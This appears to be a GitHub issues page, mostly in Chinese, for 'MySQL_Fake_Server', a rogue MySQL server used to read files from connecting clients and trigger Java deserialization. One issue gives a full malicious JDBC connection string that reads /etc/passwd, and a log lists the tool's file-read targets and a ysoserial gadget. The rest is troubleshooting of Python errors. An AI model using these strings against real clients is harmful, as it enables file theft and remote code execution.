MySQL_Fake_Server icon indicating copy to clipboard operation
MySQL_Fake_Server copied to clipboard

MySQL Fake Server use to help MySQL Client File Reading and JDBC Client Java Deserialize

Results 10 MySQL_Fake_Server issues
Sort by recently updated
recently updated
newest added

![image](https://user-images.githubusercontent.com/39913666/161371931-25dc4a71-7eba-4a1f-9c2f-50d6e5cf740b.png) 大哥求解 搞了一天了 心好累

执行jdbc任意文件读取的时候,报错“但客户端的功能被“allowLoadLocalInfile”禁用 ”。这个可以通过修改mysql配置生效,但是发现生效后连接的时候还是会报以上问题。 最后通过jdbc连接的时候添加参数解决 添加`allowLoadLocalInfile=true` 最终8.x的语句如下 String DB_URL = "jdbc:mysql://39.10x.xx.xx:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&allowLoadLocalInfile=true&user=fileread_/etc/passwd

![image](https://user-images.githubusercontent.com/83903820/127437956-b8855b36-6dcd-4943-a7b6-86eea7cf0e8e.png) ``` MySQL Fake Server Author:fnmsd(https://blog.csdn.net/fnmsd) Load 8 Fileread usernames :[b'database', b'win_ini', b'win_hosts', b'win', b'linux_passwd', b'linux_hosts', b'index_php', b'ssrf'] Load 1 yso usernames :[b'Jdk7u21'] Load 2 Default Files :[b'/etc/hosts', b'c:\\windows\\system32\\drivers\\etc\\hosts'] Start...

当设置几个路径去读取的时候,其中一个路径不存在,会返回Nothing had been read,但是当进行下一个文件读取时会在fileData = (yield from packet.read())处卡死

数据库只有账号没有密码很不方便,但是添加密码登录一直报错

server.py:17: DeprecationWarning: "@coroutine" decorator is deprecated since Python 3.8, use "async def" instead def accept_server(server_reader, server_writer): server.py:21: DeprecationWarning: "@coroutine" decorator is deprecated since Python 3.8, use "async def" instead def...

报错信息:ValueError: 45 is not a valid CharacterSet ![Image](https://github.com/user-attachments/assets/778aabb5-b313-4674-955e-3df1cbfcf690) 需要修改MySQL_Fake_Server-master\mysqlproto\protocol\flags.py文件的CharacterSet枚举类,将缺少的字符集加进去 ![Image](https://github.com/user-attachments/assets/adb70f15-f52a-4b2d-822a-25a78d179e8a) ![Image](https://github.com/user-attachments/assets/156f682a-01e6-4fb9-b027-90bca9c2c1c0) 写个Issues,给后面出现该问题的小伙伴提示

修改了python3.8以上异步协程问题

D:\D\MySQL_Fake_Server-master>python server.py Traceback (most recent call last): File "D:\D\MySQL_Fake_Server-master\server.py", line 7, in from mysqlproto.protocol import start_mysql_server File "D:\D\MySQL_Fake_Server-master\mysqlproto\protocol\__init__.py", line 27, in class MysqlPacketReader: File "D:\D\MySQL_Fake_Server-master\mysqlproto\protocol\__init__.py", line 51, in MysqlPacketReader @asyncio.coroutine...